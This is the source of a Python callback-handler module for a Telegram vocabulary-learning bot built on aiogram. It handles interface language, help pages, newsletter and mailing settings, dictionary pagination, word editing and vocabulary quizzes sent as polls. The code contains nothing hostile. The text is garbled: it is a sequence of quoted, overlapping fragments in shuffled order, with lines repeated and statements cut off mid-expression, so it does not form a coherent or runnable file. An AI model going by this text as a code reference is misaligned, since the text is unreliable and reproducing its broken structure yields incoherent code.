query.message.edit_text(text=paginator.next_page(user_lang),", "from_lang = data['curr_pagination_page']['from_lang'] to_lang = data['curr_pagination_page']['to_lang'] quiz_data = self.db.get_user_quiz_data(query['from']['id'], from_lang,", "states.Dictionary import DictionaryQuizState, DictionaryState, DictionaryEditWordState, DictionarySearchWordState from states.Mailing import AdminMailingState", "self.markup, user_id, current_page=current_state) await message.answer(text=self.lang.get_page_text('DICTIONARY', 'TEXT', user_lang), reply_markup=self.markup.get_dictionary_markup(user_lang)) await message.answer(text=paginator.first_page(user_lang),", "types.CallbackQuery, state: FSMContext): user_lang = self.lang.parse_user_lang(query['from']['id']) if query.message.poll.total_voter_count == 1:", "query: query.data.startswith('prev_'), state=\"*\") @self.analytics.callback_fsm_metric async def pagination_prev_callback_handler(query: types.CallbackQuery, state: FSMContext):", "page == 'newsletters': await query.message.edit_text(self.lang.get_page_text(\"NEWSLETTER_SETTINGS\", \"TEXT\", user_lang)) await query.message.edit_reply_markup(self.markup.get_news_settings_markup(user_lang)) await", "'add': async with state.proxy() as data: new_word_string = data['search_query'] new_word_translation", "await message.answer(text=paginator.first_page(user_lang), reply_markup=paginator.get_reply_markup()) async with state.proxy() as data: data['curr_pagination_page'] =", "user_lang)) await query.message.edit_reply_markup(self.markup.get_help_back_markup(user_lang)) await query.answer() @self.dp.callback_query_handler(lambda query: query.data == 'back_to_help')", "interface language\"\"\" user_lang = self.lang.parse_user_lang(query['from']['id']) selected_lang = query['data'][-2:] if selected_lang", "data['index'] = 1 question = f\"{data['index']}/{len(data['quiz_data'])} \" + \\ self.lang.get_page_text('QUIZ',", "user_lang = self.lang.parse_user_lang(query['from']['id']) if query.message.poll.total_voter_count == 1: await query.answer() await", "await query.message.answer(self.lang.get_quiz_results_page(data['quiz_results'], user_lang), parse_mode='Markdown') last_pagination_page = data['curr_pagination_page'] await state.finish() await", "data['quiz_results'] = [] data['quiz_data'] = quiz_data data['index'] = 1 question", "< len(data['quiz_data']) - 1: data['index'] = curr_q_index + 1 question", "from_lang: str, to_lang: str, state: FSMContext): current_state = { 'current_page':", "= self.lang.parse_user_lang(query['from']['id']) selected_option = query['data'][13:] user_mailings = self.db.get_user_mailings(query['from']['id']) mailings_settings =", "query.message.edit_reply_markup(None) await query.answer() @self.dp.callback_query_handler(lambda query: query.data.startswith('mailings_')) @self.analytics.callback_metric async def admin_mailings_new_callback_handler(query:", "state=\"*\") @self.analytics.callback_fsm_metric async def pagination_last_callback_handler(query: types.CallbackQuery, state: FSMContext): action =", "query: query.data.startswith('last_'), state=\"*\") @self.analytics.callback_fsm_metric async def pagination_last_callback_handler(query: types.CallbackQuery, state: FSMContext):", "query.message.edit_text(text=paginator.prev_page(user_lang), reply_markup=paginator.get_reply_markup(), parse_mode=paginator.get_parse_mode()) data['curr_pagination_page'] = paginator.get_state_data() else: await query.answer(self.lang.get_page_text('PAGINATION', 'FIRST_REACHED',", "query['from']['id'], current_page=current_page) if not paginator.is_first(): await query.message.edit_text(text=paginator.prev_page(user_lang), reply_markup=paginator.get_reply_markup(), parse_mode=paginator.get_parse_mode()) data['curr_pagination_page']", "= self.lang.parse_user_lang(query['from']['id']) action = query.data[10:] if action == 'string': await", "@self.analytics.callback_fsm_metric async def quiz_next_callback_handler(query: types.CallbackQuery, state: FSMContext): user_lang = self.lang.parse_user_lang(query['from']['id'])", "current_page=current_state) await message.answer(text=self.lang.get_page_text('DICTIONARY', 'TEXT', user_lang), reply_markup=self.markup.get_dictionary_markup(user_lang)) await message.answer(text=paginator.first_page(user_lang), reply_markup=paginator.get_reply_markup()) async", "SETTINGS @self.dp.callback_query_handler(lambda query: query.data.startswith('lang_setting_')) @self.analytics.callback_metric async def language_settings_callback_handler(query: types.CallbackQuery): \"\"\"Handle", "query['from']['id'], current_page=current_page) if not paginator.is_last(): await query.message.edit_text(text=paginator.last_page(user_lang), reply_markup=paginator.get_reply_markup(), parse_mode=paginator.get_parse_mode()) data['curr_pagination_page']", "DictionaryEditWordState, DictionarySearchWordState from states.Mailing import AdminMailingState import pagination class VocabularyBotCallbackHandler:", "query['data'] await query.message.edit_text(self.lang.get_page_text(\"HELP\", question, user_lang)) await query.message.edit_reply_markup(self.markup.get_help_back_markup(user_lang)) await query.answer() @self.dp.callback_query_handler(lambda", "FSMContext): user_lang = self.lang.parse_user_lang(query['from']['id']) selected_dict_pairs = query.data[11:].split('_') from_lang = selected_dict_pairs[0]", "@self.analytics.callback_metric async def language_settings_callback_handler(query: types.CallbackQuery): \"\"\"Newsletters settings\"\"\" user_lang = self.lang.parse_user_lang(query['from']['id'])", "quiz_next_callback_handler(query: types.CallbackQuery, state: FSMContext): user_lang = self.lang.parse_user_lang(query['from']['id']) if query.message.poll.total_voter_count ==", "types.CallbackQuery): \"\"\"Handle selecting preferred interface language\"\"\" user_lang = self.lang.parse_user_lang(query['from']['id']) selected_lang", "executed.') await query.answer() @self.dp.callback_query_handler(lambda query: query.data == 'profile_referral_link') @self.analytics.callback_metric async", "===== External libs imports ===== from aiogram import Bot, Dispatcher,", "'quiz_start', state=\"*\") @self.analytics.callback_fsm_metric async def quiz_start_callback_handler(query: types.CallbackQuery, state: FSMContext): await", "state.proxy() as data: from_lang = data['curr_pagination_page']['from_lang'] to_lang = data['curr_pagination_page']['to_lang'] quiz_data", "0) await query.message.delete() await query.message.answer(self.lang.get_page_text(\"NEWSLETTER_SETTINGS\", \"SUCCESS\", user_lang)) else: await query.answer(self.lang.get_page_text('NEWSLETTER_SETTINGS',", "user_lang), parse_mode='Markdown') last_pagination_page = data['curr_pagination_page'] await state.finish() await DictionaryState.dictionary.set() async", "await query.answer() await query.message.delete() user_lang = self.lang.parse_user_lang(query['from']['id']) async with state.proxy()", "selected_option == 'important' and user_mailings != 1: self.db.set_user_mailings(query['from']['id'], 1) elif", "1, query.message.poll.options))[0]), 'correct_option': query.message.poll.correct_option_id, 'options': list(map(lambda item: dict(item), query.message.poll.options)) }", "data: quiz_result = { 'word': data['quiz_data'][data['index']]['word'], 'selected_option': query.message.poll.options.index( list(filter(lambda item:", "user_lang).format(quiz_data[0]['word']) await self.bot.send_poll(chat_id=query['from']['id'], question=question, options=quiz_data[0]['options'], correct_option_id=quiz_data[0]['options'].index(quiz_data[0]['answer']), type='quiz', reply_markup=self.markup.get_quiz_next_markup(user_lang)) @self.dp.callback_query_handler(state=DictionaryQuizState.user_answers) @self.analytics.callback_fsm_metric", "@self.dp.callback_query_handler(state=DictionaryEditWordState.search_query) @self.analytics.callback_metric async def edit_word_actions_callback_handler(query: types.CallbackQuery): user_lang = self.lang.parse_user_lang(query['from']['id']) action", "await query.message.answer(text=self.lang.get_page_text('EDIT_WORD', 'NEW_STRING', user_lang), reply_markup=self.markup.get_cancel_markup()) elif action == 'translation': await", "question=question, options=quiz_data[0]['options'], correct_option_id=quiz_data[0]['options'].index(quiz_data[0]['answer']), type='quiz', reply_markup=self.markup.get_quiz_next_markup(user_lang)) @self.dp.callback_query_handler(state=DictionaryQuizState.user_answers) @self.analytics.callback_fsm_metric async def quiz_next_callback_handler(query:", "as data: data['curr_pagination_page'] = current_state await DictionaryState.dictionary.set() @self.dp.callback_query_handler(lambda query: query.data.startswith('dictionary_'),", "query.message.delete() await _send_dictionary_page(query.message, query['from']['id'], user_lang, from_lang, to_lang, state) # PAGINATION", "selected_option == 'all' and user_mailings != 2: self.db.set_user_mailings(query['from']['id'], 2) elif", "current_page = data['curr_pagination_page'] paginator = getattr(pagination, action.capitalize() + 'Paginator')(self.lang, self.db,", "selected_option: if selected_option == 'all' and user_mailings != 2: self.db.set_user_mailings(query['from']['id'],", "2) elif selected_option == 'important' and user_mailings != 1: self.db.set_user_mailings(query['from']['id'],", "await query.message.answer(text=self.lang.get_page_text('LANG_SETTINGS', 'SUCCESS', selected_lang), reply_markup=self.markup.get_main_menu_markup(selected_lang)) await query.answer() else: await query.answer(self.lang.get_page_text('LANG_SETTINGS',", "def settings_page_callback_handler(query: types.CallbackQuery): \"\"\"Handle SETTINGS page buttons\"\"\" user_id = query['from']['id']", "await query.answer() @self.dp.callback_query_handler(lambda query: query.data.startswith('next_'), state=\"*\") @self.analytics.callback_fsm_metric async def pagination_next_callback_handler(query:", "lang_manager import LangManager from markups_manager import MarkupManager from states.Dictionary import", "-*- coding: utf-8 -*- # ===== Default imports ===== import", "types.CallbackQuery, state: FSMContext): user_lang = self.lang.parse_user_lang(query['from']['id']) action = query.data[10:] if", "elif page == 'newsletters': await query.message.edit_text(self.lang.get_page_text(\"NEWSLETTER_SETTINGS\", \"TEXT\", user_lang)) await query.message.edit_reply_markup(self.markup.get_news_settings_markup(user_lang))", "\"TEXT\", user_lang)) await query.message.edit_reply_markup(self.markup.get_help_markup(user_lang)) await query.answer() @self.dp.callback_query_handler(lambda query: query.data.startswith('settings_')) @self.analytics.callback_metric", "query.answer() await query.message.delete() user_lang = self.lang.parse_user_lang(query['from']['id']) async with state.proxy() as", "query.message.edit_text(self.lang.get_page_text(\"HELP\", \"TEXT\", user_lang)) await query.message.edit_reply_markup(self.markup.get_help_markup(user_lang)) await query.answer() @self.dp.callback_query_handler(lambda query: query.data.startswith('settings_'))", "data['quiz_data'][curr_q_index]['answer']), type='quiz', reply_markup=self.markup.get_quiz_next_markup(user_lang) if curr_q_index != len(data['quiz_data']) - 1 else", "_send_dictionary_page(query.message, query['from']['id'], user_lang, from_lang, to_lang, state) elif action == 'find_another':", "!= user_lang: self.db.set_user_lang(query['from']['id'], selected_lang) await query.message.delete() await query.message.answer(text=self.lang.get_page_text('LANG_SETTINGS', 'SUCCESS', selected_lang),", "DbManager, lang_manager: LangManager, markup_manager: MarkupManager, analytics: BotAnalytics, dispatcher: Dispatcher, bot:", "query: query.data == 'back_to_help') @self.analytics.callback_metric async def back_to_help_callback_handler(query: types.CallbackQuery): \"\"\"Handle", "MarkupManager, analytics: BotAnalytics, dispatcher: Dispatcher, bot: Bot): self.db = db_manager", "question = query['data'] await query.message.edit_text(self.lang.get_page_text(\"HELP\", question, user_lang)) await query.message.edit_reply_markup(self.markup.get_help_back_markup(user_lang)) await", "self.lang.parse_user_lang(query['from']['id']) async with state.proxy() as data: from_lang = data['curr_pagination_page']['from_lang'] to_lang", "await query.answer() await query.message.delete() async with state.proxy() as data: quiz_result", "await query.message.edit_reply_markup(self.markup.get_news_settings_markup(user_lang)) await query.answer() @self.dp.callback_query_handler(lambda query: query.data.startswith('news_setting_')) @self.analytics.callback_metric async def", "f\"{len(data['quiz_data'])}/{len(data['quiz_data'])} \" await DictionaryQuizState.finish.set() question += self.lang.get_page_text('QUIZ', 'QUESTION', user_lang).format( data['quiz_data'][curr_q_index]['word'])", "= self.lang.parse_user_lang(query['from']['id']) action = query.data[10:] if action == 'add': async", "executed.') await query.answer() @self.dp.callback_query_handler(lambda query: query.data.startswith('prev_'), state=\"*\") @self.analytics.callback_fsm_metric async def", "current_page=current_page) if not paginator.is_first(): await query.message.edit_text(text=paginator.first_page(user_lang), reply_markup=paginator.get_reply_markup(), parse_mode=paginator.get_parse_mode()) data['curr_pagination_page'] =", "'new': await AdminMailingState.message.set() await query.message.delete() await query.message.answer(text=self.lang.get_page_text('MAILINGS', 'NEW', user_lang), reply_markup=self.markup.get_cancel_markup())", "query.message.delete() async with state.proxy() as data: curr_q_index = data['index'] quiz_result", "async def admin_mailings_new_callback_handler(query: types.CallbackQuery): user_lang = self.lang.parse_user_lang(query['from']['id']) action = query['data'][9:]", "types from aiogram.dispatcher import FSMContext # ===== Local imports =====", "if query.message.poll.total_voter_count == 1: await query.answer() await query.message.delete() async with", "1 question = f\"{data['index']}/{len(data['quiz_data'])} \" else: question = f\"{len(data['quiz_data'])}/{len(data['quiz_data'])} \"", "self.__init_handlers() def __init_handlers(self): # CALLBACK HANDLER FOR USER LANGUAGE SETTINGS", "<filename>callback_handlers.py # -*- coding: utf-8 -*- # ===== Default imports", "def language_settings_callback_handler(query: types.CallbackQuery): \"\"\"Newsletters settings\"\"\" user_lang = self.lang.parse_user_lang(query['from']['id']) selected_option =", "parse_mode=paginator.get_parse_mode()) data['curr_pagination_page'] = paginator.get_state_data() else: await query.answer(self.lang.get_page_text('PAGINATION', 'FIRST_REACHED', user_lang), show_alert=True)", "} paginator = getattr(pagination, 'dictionary'.capitalize() + 'Paginator')(self.lang, self.db, self.markup, user_id,", "await DictionaryEditWordState.new_word_string.set() await query.message.delete() await query.message.answer(text=self.lang.get_page_text('EDIT_WORD', 'NEW_STRING', user_lang), reply_markup=self.markup.get_cancel_markup()) elif", "markups_manager import MarkupManager from states.Dictionary import DictionaryQuizState, DictionaryState, DictionaryEditWordState, DictionarySearchWordState", "await query.answer() @self.dp.callback_query_handler(lambda query: query.data == 'back_to_help') @self.analytics.callback_metric async def", "reply_markup=self.markup.get_main_menu_markup(selected_lang)) await query.answer() else: await query.answer(self.lang.get_page_text('LANG_SETTINGS', 'ERROR', user_lang), show_alert=True) @self.dp.callback_query_handler(lambda", "else: await query.answer(self.lang.get_page_text('NEWSLETTER_SETTINGS', 'ALREADY_SET', user_lang), show_alert=True) async def _send_dictionary_page(message: types.Message,", "= query.data[11:].split('_') from_lang = selected_dict_pairs[0] to_lang = selected_dict_pairs[1] await query.message.delete()", "async def pagination_first_callback_handler(query: types.CallbackQuery, state: FSMContext): action = query.data[6:] user_lang", "[] data['quiz_data'] = quiz_data data['index'] = 1 question = f\"{data['index']}/{len(data['quiz_data'])}", "query: query.data == 'profile_referral_link') @self.analytics.callback_metric async def profile_referral_link_callback_handler(query: types.CallbackQuery): user_lang", "to_lang) await query.message.edit_text(self.lang.get_page_text('ADD_WORD', 'SUCCESSFUL_ADDED', user_lang)) await state.finish() await asyncio.sleep(1) await", "str, from_lang: str, to_lang: str, state: FSMContext): current_state = {", "imports ===== import asyncio import logging # ===== External libs", "@self.analytics.callback_fsm_metric async def pagination_first_callback_handler(query: types.CallbackQuery, state: FSMContext): action = query.data[6:]", "= dispatcher self.bot = bot self.__init_handlers() def __init_handlers(self): # CALLBACK", "data: from_lang = data['curr_pagination_page']['from_lang'] to_lang = data['curr_pagination_page']['to_lang'] quiz_data = self.db.get_user_quiz_data(query['from']['id'],", "back_to_help_callback_handler(query: types.CallbackQuery): \"\"\"Handle HELP page question back button\"\"\" user_id =", "states.Mailing import AdminMailingState import pagination class VocabularyBotCallbackHandler: \"\"\"Class for Vocabulary", "query['data'][9:] if page == 'interface': await query.message.edit_text(self.lang.get_page_text(\"LANG_SETTINGS\", \"TEXT\", user_lang)) await", "data['curr_pagination_page'] await state.finish() await DictionaryState.dictionary.set() async with state.proxy() as data:", "- 1: data['index'] = curr_q_index + 1 question = f\"{data['index']}/{len(data['quiz_data'])}", "user_lang: self.db.set_user_lang(query['from']['id'], selected_lang) await query.message.delete() await query.message.answer(text=self.lang.get_page_text('LANG_SETTINGS', 'SUCCESS', selected_lang), reply_markup=self.markup.get_main_menu_markup(selected_lang))", "to_lang = data['curr_pagination_page']['to_lang'] quiz_data = self.db.get_user_quiz_data(query['from']['id'], from_lang, to_lang, 10) await", "query.data[10:] if action == 'add': async with state.proxy() as data:", "await query.answer(self.lang.get_page_text('QUIZ', 'NON_SELECTED', user_lang), show_alert=True) @self.dp.callback_query_handler(state=DictionaryQuizState.finish) @self.analytics.callback_fsm_metric async def quiz_finish_callback_handler(query:", "Bot): self.db = db_manager self.lang = lang_manager self.markup = markup_manager", "self.lang.parse_user_lang(user_id) page = query['data'][9:] if page == 'interface': await query.message.edit_text(self.lang.get_page_text(\"LANG_SETTINGS\",", "@self.analytics.callback_metric async def help_callback_handler(query: types.CallbackQuery): \"\"\"Handle HELP page question buttons\"\"\"", "async def language_settings_callback_handler(query: types.CallbackQuery): \"\"\"Newsletters settings\"\"\" user_lang = self.lang.parse_user_lang(query['from']['id']) selected_option", "self.db, self.markup, query['from']['id'], current_page=current_page) if not paginator.is_first(): await query.message.edit_text(text=paginator.first_page(user_lang), reply_markup=paginator.get_reply_markup(),", "await query.answer() @self.dp.callback_query_handler(lambda query: query.data.startswith('prev_'), state=\"*\") @self.analytics.callback_fsm_metric async def pagination_prev_callback_handler(query:", "self.db, self.markup, query['from']['id'], current_page=current_page) if not paginator.is_last(): await query.message.edit_text(text=paginator.next_page(user_lang), reply_markup=paginator.get_reply_markup(),", "'all' and user_mailings != 2: self.db.set_user_mailings(query['from']['id'], 2) elif selected_option ==", "handlers\"\"\" def __init__(self, db_manager: DbManager, lang_manager: LangManager, markup_manager: MarkupManager, analytics:", "= [] data['quiz_data'] = quiz_data data['index'] = 1 question =", "else self.markup.get_quiz_finish_markup(user_lang)) else: await query.answer(self.lang.get_page_text('QUIZ', 'NON_SELECTED', user_lang), show_alert=True) @self.dp.callback_query_handler(state=DictionaryQuizState.finish) @self.analytics.callback_fsm_metric", "reply_markup=self.markup.get_cancel_markup()) @self.dp.callback_query_handler(state=DictionaryEditWordState.search_query) @self.analytics.callback_metric async def edit_word_actions_callback_handler(query: types.CallbackQuery): user_lang = self.lang.parse_user_lang(query['from']['id'])", "def profile_referral_link_callback_handler(query: types.CallbackQuery): user_lang = self.lang.parse_user_lang(query['from']['id']) await query.message.answer(self.lang.get_user_referral_link_page(query['from']['id'], user_lang)) await", "to_lang, state) # PAGINATION @self.dp.callback_query_handler(lambda query: query.data.startswith('first_'), state=\"*\") @self.analytics.callback_fsm_metric async", "= data['curr_pagination_page']['to_lang'] self.db.add_user_word(new_word_string, new_word_translation, query['from']['id'], from_lang, to_lang) await query.message.edit_text(self.lang.get_page_text('ADD_WORD', 'SUCCESSFUL_ADDED',", "pagination_last_callback_handler(query: types.CallbackQuery, state: FSMContext): action = query.data[5:] user_lang = self.lang.parse_user_lang(query['from']['id'])", "if selected_option == 'all' and user_mailings != 2: self.db.set_user_mailings(query['from']['id'], 2)", "\" + \\ self.lang.get_page_text('QUIZ', 'QUESTION', user_lang).format(quiz_data[0]['word']) await self.bot.send_poll(chat_id=query['from']['id'], question=question, options=quiz_data[0]['options'],", "def admin_mailings_new_callback_handler(query: types.CallbackQuery): user_lang = self.lang.parse_user_lang(query['from']['id']) action = query['data'][9:] if", "FSMContext): user_lang = self.lang.parse_user_lang(query['from']['id']) action = query.data[10:] if action ==", "markup_manager: MarkupManager, analytics: BotAnalytics, dispatcher: Dispatcher, bot: Bot): self.db =", "= lang_manager self.markup = markup_manager self.analytics = analytics self.dp =", "'FIRST_REACHED', user_lang), show_alert=True) logging.getLogger(type(self).__name__).info(f'[{action}] callback executed.') await query.answer() @self.dp.callback_query_handler(lambda query:", "== 'profile_referral_link') @self.analytics.callback_metric async def profile_referral_link_callback_handler(query: types.CallbackQuery): user_lang = self.lang.parse_user_lang(query['from']['id'])", "with state.proxy() as data: quiz_result = { 'word': data['quiz_data'][data['index']]['word'], 'selected_option':", "import LangManager from markups_manager import MarkupManager from states.Dictionary import DictionaryQuizState,", "= analytics self.dp = dispatcher self.bot = bot self.__init_handlers() def", "from_lang, to_lang, state) elif action == 'find_another': await query.message.delete() await", "await query.message.delete() await query.message.answer(text=self.lang.get_page_text('FIND_WORD', 'WELCOME_TEXT', user_lang), reply_markup=self.markup.get_cancel_markup()) @self.dp.callback_query_handler(state=DictionaryEditWordState.search_query) @self.analytics.callback_metric async", "await state.finish() await DictionaryState.dictionary.set() async with state.proxy() as data: data['curr_pagination_page']", "action = query.data[10:] if action == 'add': async with state.proxy()", "bot: Bot): self.db = db_manager self.lang = lang_manager self.markup =", "action = query.data[6:] user_lang = self.lang.parse_user_lang(query['from']['id']) async with state.proxy() as", "data: if 'curr_pagination_page' in data: current_page = data['curr_pagination_page'] paginator =", "'important', 'all'] if mailings_settings[user_mailings] != selected_option: if selected_option == 'all'", "query['data'][-2:] if selected_lang != user_lang: self.db.set_user_lang(query['from']['id'], selected_lang) await query.message.delete() await", "with state.proxy() as data: data['curr_pagination_page'] = current_state await DictionaryState.dictionary.set() @self.dp.callback_query_handler(lambda", "current_page=current_page) if not paginator.is_last(): await query.message.edit_text(text=paginator.next_page(user_lang), reply_markup=paginator.get_reply_markup(), parse_mode=paginator.get_parse_mode()) data['curr_pagination_page'] =", "as data: if 'curr_pagination_page' in data: current_page = data['curr_pagination_page'] paginator", "str, to_lang: str, state: FSMContext): current_state = { 'current_page': 0,", "pagination_next_callback_handler(query: types.CallbackQuery, state: FSMContext): action = query.data[5:] user_lang = self.lang.parse_user_lang(query['from']['id'])", "query.message.edit_text(self.lang.get_page_text(\"HELP\", question, user_lang)) await query.message.edit_reply_markup(self.markup.get_help_back_markup(user_lang)) await query.answer() @self.dp.callback_query_handler(lambda query: query.data", "self.markup, query['from']['id'], current_page=current_page) if not paginator.is_first(): await query.message.edit_text(text=paginator.prev_page(user_lang), reply_markup=paginator.get_reply_markup(), parse_mode=paginator.get_parse_mode())", "action == 'new': await AdminMailingState.message.set() await query.message.delete() await query.message.answer(text=self.lang.get_page_text('MAILINGS', 'NEW',", "and user_mailings != 1: self.db.set_user_mailings(query['from']['id'], 1) elif selected_option == 'disable'", "= data['curr_pagination_page']['from_lang'] to_lang = data['curr_pagination_page']['to_lang'] quiz_data = self.db.get_user_quiz_data(query['from']['id'], from_lang, to_lang,", "@self.dp.callback_query_handler(state=DictionaryQuizState.finish) @self.analytics.callback_fsm_metric async def quiz_finish_callback_handler(query: types.CallbackQuery, state: FSMContext): user_lang =", "!= selected_option: if selected_option == 'all' and user_mailings != 2:", "'ERROR', user_lang), show_alert=True) @self.dp.callback_query_handler(lambda query: query.data.startswith('help_question_')) @self.analytics.callback_metric async def help_callback_handler(query:", "paginator.is_first(): await query.message.edit_text(text=paginator.prev_page(user_lang), reply_markup=paginator.get_reply_markup(), parse_mode=paginator.get_parse_mode()) data['curr_pagination_page'] = paginator.get_state_data() else: await", "and user_mailings != 0: self.db.set_user_mailings(query['from']['id'], 0) await query.message.delete() await query.message.answer(self.lang.get_page_text(\"NEWSLETTER_SETTINGS\",", "query.message.edit_text(text=paginator.next_page(user_lang), reply_markup=paginator.get_reply_markup(), parse_mode=paginator.get_parse_mode()) data['curr_pagination_page'] = paginator.get_state_data() else: await query.answer(self.lang.get_page_text('PAGINATION', 'LAST_REACHED',", "self.lang.get_page_text('QUIZ', 'QUESTION', user_lang).format(quiz_data[0]['word']) await self.bot.send_poll(chat_id=query['from']['id'], question=question, options=quiz_data[0]['options'], correct_option_id=quiz_data[0]['options'].index(quiz_data[0]['answer']), type='quiz', reply_markup=self.markup.get_quiz_next_markup(user_lang))", "'newsletters': await query.message.edit_text(self.lang.get_page_text(\"NEWSLETTER_SETTINGS\", \"TEXT\", user_lang)) await query.message.edit_reply_markup(self.markup.get_news_settings_markup(user_lang)) await query.answer() @self.dp.callback_query_handler(lambda", "question, user_lang)) await query.message.edit_reply_markup(self.markup.get_help_back_markup(user_lang)) await query.answer() @self.dp.callback_query_handler(lambda query: query.data ==", "data['quiz_data'][curr_q_index]['word']) await self.bot.send_poll(chat_id=query['from']['id'], question=question, options=data['quiz_data'][curr_q_index]['options'], correct_option_id=data['quiz_data'][curr_q_index]['options'].index( data['quiz_data'][curr_q_index]['answer']), type='quiz', reply_markup=self.markup.get_quiz_next_markup(user_lang) if", "self.db.set_user_mailings(query['from']['id'], 1) elif selected_option == 'disable' and user_mailings != 0:", "FSMContext): user_lang = self.lang.parse_user_lang(query['from']['id']) if query.message.poll.total_voter_count == 1: await query.answer()", "self.db, self.markup, query['from']['id'], current_page=current_page) if not paginator.is_last(): await query.message.edit_text(text=paginator.last_page(user_lang), reply_markup=paginator.get_reply_markup(),", "curr_q_index + 1 question = f\"{data['index']}/{len(data['quiz_data'])} \" else: question =", "= db_manager self.lang = lang_manager self.markup = markup_manager self.analytics =", "async def help_callback_handler(query: types.CallbackQuery): \"\"\"Handle HELP page question buttons\"\"\" user_id", "dict(item), query.message.poll.options)) } data['quiz_results'].append(quiz_result) await query.message.answer(self.lang.get_page_text('QUIZ', 'FINISH', user_lang)) await query.message.answer(self.lang.get_quiz_results_page(data['quiz_results'],", "async def quiz_start_callback_handler(query: types.CallbackQuery, state: FSMContext): await query.answer() await query.message.delete()", "query.answer() elif page == 'newsletters': await query.message.edit_text(self.lang.get_page_text(\"NEWSLETTER_SETTINGS\", \"TEXT\", user_lang)) await", "dispatcher: Dispatcher, bot: Bot): self.db = db_manager self.lang = lang_manager", "query.data[6:] user_lang = self.lang.parse_user_lang(query['from']['id']) async with state.proxy() as data: if", "data: curr_q_index = data['index'] quiz_result = { 'word': data['quiz_data'][curr_q_index -", "query.answer() else: await query.answer(self.lang.get_page_text('LANG_SETTINGS', 'ERROR', user_lang), show_alert=True) @self.dp.callback_query_handler(lambda query: query.data.startswith('help_question_'))", "query.message.answer(self.lang.get_page_text(\"NEWSLETTER_SETTINGS\", \"SUCCESS\", user_lang)) else: await query.answer(self.lang.get_page_text('NEWSLETTER_SETTINGS', 'ALREADY_SET', user_lang), show_alert=True) async", "== 'quiz_start', state=\"*\") @self.analytics.callback_fsm_metric async def quiz_start_callback_handler(query: types.CallbackQuery, state: FSMContext):", "= self.lang.parse_user_lang(user_id) page = query['data'][9:] if page == 'interface': await", "= data['curr_pagination_page']['to_lang'] quiz_data = self.db.get_user_quiz_data(query['from']['id'], from_lang, to_lang, 10) await DictionaryQuizState.user_answers.set()", "user_lang = self.lang.parse_user_lang(user_id) await query.message.edit_text(self.lang.get_page_text(\"HELP\", \"TEXT\", user_lang)) await query.message.edit_reply_markup(self.markup.get_help_markup(user_lang)) await", "!= 0: self.db.set_user_mailings(query['from']['id'], 0) await query.message.delete() await query.message.answer(self.lang.get_page_text(\"NEWSLETTER_SETTINGS\", \"SUCCESS\", user_lang))", "await query.answer(self.lang.get_page_text('NEWSLETTER_SETTINGS', 'ALREADY_SET', user_lang), show_alert=True) async def _send_dictionary_page(message: types.Message, user_id:", "QUIZ CALLBACKS @self.dp.callback_query_handler(lambda query: query.data == 'quiz_start', state=\"*\") @self.analytics.callback_fsm_metric async", "= { 'word': data['quiz_data'][curr_q_index - 1]['word'], 'selected_option': query.message.poll.options.index( list(filter(lambda item:", "coding: utf-8 -*- # ===== Default imports ===== import asyncio", "query['from']['id'] user_lang = self.lang.parse_user_lang(user_id) question = query['data'] await query.message.edit_text(self.lang.get_page_text(\"HELP\", question,", "data: data['curr_pagination_page'] = last_pagination_page else: await query.answer(self.lang.get_page_text('QUIZ', 'NON_SELECTED', user_lang), show_alert=True)", "# ===== External libs imports ===== from aiogram import Bot,", "async def search_word_actions_callback_handler(query: types.CallbackQuery, state: FSMContext): user_lang = self.lang.parse_user_lang(query['from']['id']) action", "elif selected_option == 'disable' and user_mailings != 0: self.db.set_user_mailings(query['from']['id'], 0)", "self.lang.parse_user_lang(query['from']['id']) action = query['data'][9:] if action == 'new': await AdminMailingState.message.set()", "await DictionaryState.dictionary.set() @self.dp.callback_query_handler(lambda query: query.data.startswith('dictionary_'), state=\"*\") @self.analytics.callback_fsm_metric async def dictionary_list_callback_handler(query:", "if mailings_settings[user_mailings] != selected_option: if selected_option == 'all' and user_mailings", "query.data == 'quiz_start', state=\"*\") @self.analytics.callback_fsm_metric async def quiz_start_callback_handler(query: types.CallbackQuery, state:", "query.message.poll.total_voter_count == 1: await query.answer() await query.message.delete() async with state.proxy()", "+ 'Paginator')(self.lang, self.db, self.markup, query['from']['id'], current_page=current_page) if not paginator.is_last(): await", "Bot callback handlers\"\"\" def __init__(self, db_manager: DbManager, lang_manager: LangManager, markup_manager:", "['disable', 'important', 'all'] if mailings_settings[user_mailings] != selected_option: if selected_option ==", "in data: current_page = data['curr_pagination_page'] paginator = getattr(pagination, action.capitalize() +", "data['quiz_results'].append(quiz_result) if curr_q_index < len(data['quiz_data']) - 1: data['index'] = curr_q_index", "'NON_SELECTED', user_lang), show_alert=True) @self.dp.callback_query_handler(state=DictionaryQuizState.finish) @self.analytics.callback_fsm_metric async def quiz_finish_callback_handler(query: types.CallbackQuery, state:", "query.message.delete() await query.message.answer(text=self.lang.get_page_text('MAILINGS', 'NEW', user_lang), reply_markup=self.markup.get_cancel_markup()) elif action == 'schedule_list':", "= query.data[5:] user_lang = self.lang.parse_user_lang(query['from']['id']) async with state.proxy() as data:", "quiz_result = { 'word': data['quiz_data'][data['index']]['word'], 'selected_option': query.message.poll.options.index( list(filter(lambda item: item.voter_count", "show_alert=True) @self.dp.callback_query_handler(state=DictionarySearchWordState.search_query) @self.analytics.callback_fsm_metric async def search_word_actions_callback_handler(query: types.CallbackQuery, state: FSMContext): user_lang", "- 1]['word'], 'selected_option': query.message.poll.options.index( list(filter(lambda item: item.voter_count == 1, query.message.poll.options))[0]),", "= query['data'][-2:] if selected_lang != user_lang: self.db.set_user_lang(query['from']['id'], selected_lang) await query.message.delete()", "user_lang), show_alert=True) @self.dp.callback_query_handler(lambda query: query.data.startswith('help_question_')) @self.analytics.callback_metric async def help_callback_handler(query: types.CallbackQuery):", "logging.getLogger(type(self).__name__).info(f'[{action}] callback executed.') await query.answer() @self.dp.callback_query_handler(lambda query: query.data.startswith('next_'), state=\"*\") @self.analytics.callback_fsm_metric", "= selected_dict_pairs[1] await query.message.delete() await _send_dictionary_page(query.message, query['from']['id'], user_lang, from_lang, to_lang,", "analytics: BotAnalytics, dispatcher: Dispatcher, bot: Bot): self.db = db_manager self.lang", "SETTINGS page buttons\"\"\" user_id = query['from']['id'] user_lang = self.lang.parse_user_lang(user_id) page", "query.answer() @self.dp.callback_query_handler(lambda query: query.data.startswith('prev_'), state=\"*\") @self.analytics.callback_fsm_metric async def pagination_prev_callback_handler(query: types.CallbackQuery,", "== 'important' and user_mailings != 1: self.db.set_user_mailings(query['from']['id'], 1) elif selected_option", "_send_dictionary_page(query.message, query['from']['id'], user_lang, from_lang, to_lang, state) # PAGINATION 